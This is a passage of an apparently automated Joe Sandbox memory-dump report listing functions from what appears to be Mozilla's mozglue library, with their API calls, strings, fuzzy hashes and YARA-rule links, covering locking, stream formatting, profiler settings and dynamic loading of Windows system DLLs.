Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID: KpT{/
API String ID: 3596744550-2391877073
Opcode ID: 312015d7d8809d37e4d373ef4d0ab54b8b2e94b2f8719d9235acf5542320d62c
Instruction ID: e196f076811962ee7e0430760ae42bfbb368fb97a21171ec955ead82543e35e3
Opcode Fuzzy Hash: 312015d7d8809d37e4d373ef4d0ab54b8b2e94b2f8719d9235acf5542320d62c
Instruction Fuzzy Hash: 2331A4B5A083059FD700CF14D88069EBBF4FF99314F50842EE89A87741D734E919CB92

Function 6C92A2B0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 90COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6C92A315
?_Xbad_function_call@std@@YAXXZ.MSVCP140(?), ref: 6C92A31F
free.MOZGLUE(00000000,?,?,?,?), ref: 6C92A36A

Part of subcall function 6C8F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C8F5EDB
Part of subcall function 6C8F5E90: memset.VCRUNTIME140(6C937765,000000E5,55CCCCCC), ref: 6C8F5F27
Part of subcall function 6C8F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C8F5FB2

Part of subcall function 6C922140: free.MOZGLUE(?,00000060,?,6C927D36,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C92215D

free.MOZGLUE(00000000), ref: 6C92A37C

Strings

KpT{/, xrefs: 6C92A2BA

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveXbad_function_call@std@@memset
String ID: KpT{/
API String ID: 700533648-2391877073
Opcode ID: c64b3d5e3b76ccd190cc53ae4435d2ccc2725bde2cac53649ee50edf8114a38a
Instruction ID: 06ede58b81a6564c9784864ca78b9fb8b2be44c1667bbf913008a4a36099a69b
Opcode Fuzzy Hash: c64b3d5e3b76ccd190cc53ae4435d2ccc2725bde2cac53649ee50edf8114a38a
Instruction Fuzzy Hash: E9213E72A002249BC7108F09C840B9FBBB8EF5A768F148015DD495BB05DB36ED06C7D1

Function 6C8F5B50 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,6C8F56EE,?,00000001), ref: 6C8F5B85
EnterCriticalSection.KERNEL32(6C95F688,?,?,?,6C8F56EE,?,00000001), ref: 6C8F5B90
LeaveCriticalSection.KERNEL32(6C95F688,?,?,?,6C8F56EE,?,00000001), ref: 6C8F5BD8
GetTickCount64.KERNEL32 ref: 6C8F5BE4

Strings

KpT{/, xrefs: 6C8F5B5F

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: CriticalSection$Count64CounterEnterLeavePerformanceQueryTick
String ID: KpT{/
API String ID: 2796706680-2391877073
Opcode ID: 10533da17d7850f7a7fd4dbb5a0590bf85feb6582bde9f06f2a7af2fb7454262
Instruction ID: cfd79e1fe6b2e6364ee889ed876f9cc5ef91a721f3f7e248a2e9fbe91db49cd2
Opcode Fuzzy Hash: 10533da17d7850f7a7fd4dbb5a0590bf85feb6582bde9f06f2a7af2fb7454262
Instruction Fuzzy Hash: 352194757097449FCB08CF68C55455ABBF5FBCA214F54C82EE49AC7790D730A804CB81

Function 6C921B80 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 77threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C921B98
AcquireSRWLockExclusive.KERNEL32(?,?,6C921D96,00000000), ref: 6C921BA1
ReleaseSRWLockExclusive.KERNEL32(?,?,6C921D96,00000000), ref: 6C921BB5
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C921C25

Part of subcall function 6C921C60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,6C92759E,?,?), ref: 6C921CB4

Strings

KpT{/, xrefs: 6C921B8B

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free
String ID: KpT{/
API String ID: 3699359333-2391877073
Opcode ID: a0e2daa6cbb17180ec9c36a035ddaf6ae35b80cebfcdcd31a62e0a2dc8a03ff7
Instruction ID: cbe143304d2430ba986ee9f9ce9ba36fc4a9459fdbba9e732be154f1aa042d15
Opcode Fuzzy Hash: a0e2daa6cbb17180ec9c36a035ddaf6ae35b80cebfcdcd31a62e0a2dc8a03ff7
Instruction Fuzzy Hash: 9B21E070A152048FDB04DF25C8847AFBBB8AB63358F50042DD99267B49D77ADC19C7D0

Function 6C9374A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C937526
__Init_thread_footer.LIBCMT ref: 6C937566
__Init_thread_footer.LIBCMT ref: 6C937597

Strings

UnmapViewOfFile2, xrefs: 6C937552
kernel32.dll, xrefs: 6C937557

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: f6d515738071ee2b925ebf2534bcecbe0e6b9569c93dec468bbdcd142974d491
Instruction ID: 772e025b93698d6e892146282fd0094970bbe782fe5d8aee90c90daff173901b
Opcode Fuzzy Hash: f6d515738071ee2b925ebf2534bcecbe0e6b9569c93dec468bbdcd142974d491
Instruction Fuzzy Hash: DE212531709511EFDF18CFA98958E5A3376EB97B38B64112DE80A47F80CB31F815C6A5

Function 6C937930 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6C8EBF00: ??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C937A3F), ref: 6C8EBF11
Part of subcall function 6C8EBF00: ?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C937A3F), ref: 6C8EBF5D
Part of subcall function 6C8EBF00: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C937A3F), ref: 6C8EBF7E

?setprecision@std@@YA?AU?$_Smanip@_J@1@_J@Z.MSVCP140(?,00000012,00000000), ref: 6C937968
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@_J@Z.MSVCP140(6C93A264,6C93A264), ref: 6C93799A

Part of subcall function 6C8E9830: free.MOZGLUE(?,?,?,6C937ABE), ref: 6C8E985B

??1?$basic_streambuf@DU?$char_traits@D@std@@@std@@UAE@XZ.MSVCP140 ref: 6C9379E0
??1ios_base@std@@UAE@XZ.MSVCP140 ref: 6C9379E8

Strings

KpT{/, xrefs: 6C937946

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@??1?$basic_streambuf@??1ios_base@std@@??6?$basic_ostream@?init@?$basic_ios@?setprecision@std@@D@std@@@2@_J@1@_Smanip@_U?$_V01@_V?$basic_streambuf@free
String ID: KpT{/
API String ID: 3421697164-2391877073
Opcode ID: d3bbfde4e50a97a6035e14d99a524dcfc35c8b909a6c08d611c22516a66dab84
Instruction ID: 3ce9d17e0d816f4f25d6892866f21400d5bdb62f0e1dc2c9909302f6ad2dd499
Opcode Fuzzy Hash: d3bbfde4e50a97a6035e14d99a524dcfc35c8b909a6c08d611c22516a66dab84
Instruction Fuzzy Hash: 16212C756083149FCB14DF18D885AAEFBF5EF89314F54886DE94A87351CB30E909CB92

Function 6C937A10 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6C8EBF00: ??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C937A3F), ref: 6C8EBF11
Part of subcall function 6C8EBF00: ?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C937A3F), ref: 6C8EBF5D
Part of subcall function 6C8EBF00: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C937A3F), ref: 6C8EBF7E

?setprecision@std@@YA?AU?$_Smanip@_J@1@_J@Z.MSVCP140(?,00000013,00000000), ref: 6C937A48
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@_K@Z.MSVCP140(?,?), ref: 6C937A7A

Part of subcall function 6C8E9830: free.MOZGLUE(?,?,?,6C937ABE), ref: 6C8E985B

??1?$basic_streambuf@DU?$char_traits@D@std@@@std@@UAE@XZ.MSVCP140 ref: 6C937AC0
??1ios_base@std@@UAE@XZ.MSVCP140 ref: 6C937AC8

Strings

KpT{/, xrefs: 6C937A26

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@??1?$basic_streambuf@??1ios_base@std@@??6?$basic_ostream@?init@?$basic_ios@?setprecision@std@@D@std@@@2@_J@1@_Smanip@_U?$_V01@_V?$basic_streambuf@free
String ID: KpT{/
API String ID: 3421697164-2391877073
Opcode ID: 31dc54daea74c5f43559b072e58050bb4ca4e7e13ad55389141b6860f06fab2c
Instruction ID: e79487533b08364a9aa7686d37976f97ef73a1c13f4408a84962a7b81930b6ab
Opcode Fuzzy Hash: 31dc54daea74c5f43559b072e58050bb4ca4e7e13ad55389141b6860f06fab2c
Instruction Fuzzy Hash: 7A212C756083149FCB14DF18D885AAEFBF5EF89314F54886DE94A87351CB30E909CB92

Function 6C93AB90 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

SearchPathW.KERNEL32(?,6C8FBFBD,.dll,00000000,00000000,00000000,6C8FBFBD), ref: 6C93ABBD
moz_xmalloc.MOZGLUE(00000001), ref: 6C93ABD8

Part of subcall function 6C8ECA10: malloc.MOZGLUE(?), ref: 6C8ECA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C93ABEB
SearchPathW.KERNEL32(?,?,.dll,00000001,?,00000000), ref: 6C93AC03

Strings

.dll, xrefs: 6C93ABB4, 6C93ABFA

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: PathSearch$mallocmemsetmoz_xmalloc
String ID: .dll
API String ID: 3063185715-2738580789
Opcode ID: 5ace323ac61c3a68613243b75959a9ed6656e05b138d35b451a6cb078989750f
Instruction ID: 8967da183851d78430283d2620a23246745777697942fa2ce26836e24dd96fec
Opcode Fuzzy Hash: 5ace323ac61c3a68613243b75959a9ed6656e05b138d35b451a6cb078989750f
Instruction Fuzzy Hash: 9101D2B2A0411A6FEB019EB88C44ABFBABDEB95250F550435FD08D3600E776DC644BA1

Function 6C93AAE0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 59threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C93AAF8
EnterCriticalSection.KERNEL32(6C95F770,?,6C8FBF9F), ref: 6C93AB08
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,6C8FBF9F), ref: 6C93AB39
LeaveCriticalSection.KERNEL32(6C95F770,?,?,?,?,?,?,?,?,6C8FBF9F), ref: 6C93AB6B

Strings

KpT{/, xrefs: 6C93AAEE

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: CriticalSection$CurrentEnterLeaveThread_stricmp
String ID: KpT{/
API String ID: 1951318356-2391877073
Opcode ID: 4025c2695910f671bd877341aa87319d432ee64eca53d3c96566b0cb3a3023fa
Instruction ID: e28911595c92f8c2e34ef758142304d6c2fe035d4d58fde52d24157d69876326
Opcode Fuzzy Hash: 4025c2695910f671bd877341aa87319d432ee64eca53d3c96566b0cb3a3023fa
Instruction Fuzzy Hash: 50114FB1B052198FCF00DFA8D888D9FBBB5FF993197540429E50597301EB34E909CBA1

Function 6C8DF100 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(shell32,?,6C94D020), ref: 6C8DF122
GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C8DF132

Strings

KpT{/, xrefs: 6C8DF109
SHGetKnownFolderPath, xrefs: 6C8DF12C
shell32, xrefs: 6C8DF11D

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: KpT{/$SHGetKnownFolderPath$shell32
API String ID: 2574300362-3990653486
Opcode ID: 75e00435348a56db7689738fc5f27fc3bfb7e95a5c5c7550af8c478768d872d8
Instruction ID: 853905f0138c31a081d602477e987705f2d05c8d03f5be653827a52ac677de11
Opcode Fuzzy Hash: 75e00435348a56db7689738fc5f27fc3bfb7e95a5c5c7550af8c478768d872d8
Instruction Fuzzy Hash: AB015E71705219DBDF11DF75DD48A6B7BB8FF4A694BA10418E849E7600D730EA04CBA0

Function 6C91E550 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C91E577
AcquireSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91E584
ReleaseSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C91E8A6

Strings

KpT{/, xrefs: 6C91E2FB, 6C91E399, 6C91E55C
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C91E722, 6C91E750, 6C91E7A2
MOZ_PROFILER_STARTUP, xrefs: 6C91E5A1, 6C91E5CC, 6C91E5FF, 6C91E62A
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C91E777
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C91E826, 6C91E850
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C91E655

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: KpT{/$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-3382627488
Opcode ID: a9d3b9df83e565bf6a92fa97e0d3993ab19d35d7319a1710acfadf534cba7409
Instruction ID: 46a5b714c1cc0fa8be70db76f8f19ec5d012bedd4b601afb132cd932f549d6f9
Opcode Fuzzy Hash: a9d3b9df83e565bf6a92fa97e0d3993ab19d35d7319a1710acfadf534cba7409
Instruction Fuzzy Hash: DC118B31A08358DFCB00DF14C849A6ABBB8FBC932CFA00619E88697A50C770E815CBD5

Function 6C93A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C95F770,-00000001,?,6C94E330,?,6C8FBDF7), ref: 6C93A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C8FBDF7), ref: 6C93A7C2
moz_xmalloc.MOZGLUE(00000018,?,6C8FBDF7), ref: 6C93A7E4
LeaveCriticalSection.KERNEL32(6C95F770), ref: 6C93A80A

Strings

accelerator.dll, xrefs: 6C93A7BF

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 5746ab7482c838db5d1f69e98d50763532ef7b253f7c17fd706ee501ec4c478e
Instruction ID: 1938f8b749aeea881e739f2d36ea481485c80b221dbd82d2413c6f21fd23f7c3
Opcode Fuzzy Hash: 5746ab7482c838db5d1f69e98d50763532ef7b253f7c17fd706ee501ec4c478e
Instruction Fuzzy Hash: 87018FB07042149F9F04DF99D8C4C157BF8FB8AB28754806AE80ACB711DB70E804CBA0

Function 6C8DF0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6C8DEE51,?), ref: 6C8DF0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6C8DF0C2

Strings

ole32, xrefs: 6C8DF0AD
Could not find CoTaskMemFree, xrefs: 6C8DF0E3
Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6C8DF0DC

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: 53136006b5696fc14ce73a8da3bacdebf8ef68b0ca21166351a2230920a31d2d
Instruction ID: 2e4d2e1a4111bf0d9f337796a11fd897c9f8b7e4e0bf1c4bafd566634542dcb5
Opcode Fuzzy Hash: 53136006b5696fc14ce73a8da3bacdebf8ef68b0ca21166351a2230920a31d2d
Instruction Fuzzy Hash: 27E0207134D3059BEF14AE725C1862637FC6B7311D3A4882DE402D2E40EF20F820CB51

Function 6C9373E0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 23libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32.dll,?,?,6C8E434E), ref: 6C9373EB
GetProcAddress.KERNEL32(00000000,SetProcessDpiAwarenessContext), ref: 6C937404
FreeLibrary.KERNEL32(?,?,6C8E434E), ref: 6C937413

Strings

user32.dll, xrefs: 6C9373E6
SetProcessDpiAwarenessContext, xrefs: 6C9373FE

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: SetProcessDpiAwarenessContext$user32.dll
API String ID: 145871493-397433131
Opcode ID: 421e8877fa2c70837ddea4a67c4dd4df1170f2ed18837092983986b1561f2764
Instruction ID: 78e0beb2c1086b21ae7fb0bf6ccae09cb2b51b727bae851dfc753ecf5da65f3e
Opcode Fuzzy Hash: 421e8877fa2c70837ddea4a67c4dd4df1170f2ed18837092983986b1561f2764
Instruction Fuzzy Hash: 45E04F70309711DBE7101FA5DA1C702BAFCEB06245F648829EA89D3701E7B1E4108B90

Function 6C910080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C8E7204), ref: 6C910088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6C9100A7
FreeLibrary.KERNEL32(?,6C8E7204), ref: 6C9100BE

Strings

CryptCATAdminAcquireContext2, xrefs: 6C9100A1
wintrust.dll, xrefs: 6C910083

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: 178d8b2bde617bba4cf0a0eedfe175314b40932618a80ea6073e5b1ce64bf6ad
Instruction ID: 62f7d1f8993a163fe625a3e7d0ddc38efc9a18ca896b0d152b464e08cc6c7c7a
Opcode Fuzzy Hash: 178d8b2bde617bba4cf0a0eedfe175314b40932618a80ea6073e5b1ce64bf6ad
Instruction Fuzzy Hash: 43E0127830D3089FEF00AF2698087013AF8A70B368FF04466EA12C2A00DBB6D024CF51

Function 6C9100D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C8E7235), ref: 6C9100D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6C9100F7
FreeLibrary.KERNEL32(?,6C8E7235), ref: 6C91010E

Strings

CryptCATAdminCalcHashFromFileHandle2, xrefs: 6C9100F1
wintrust.dll, xrefs: 6C9100D3

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

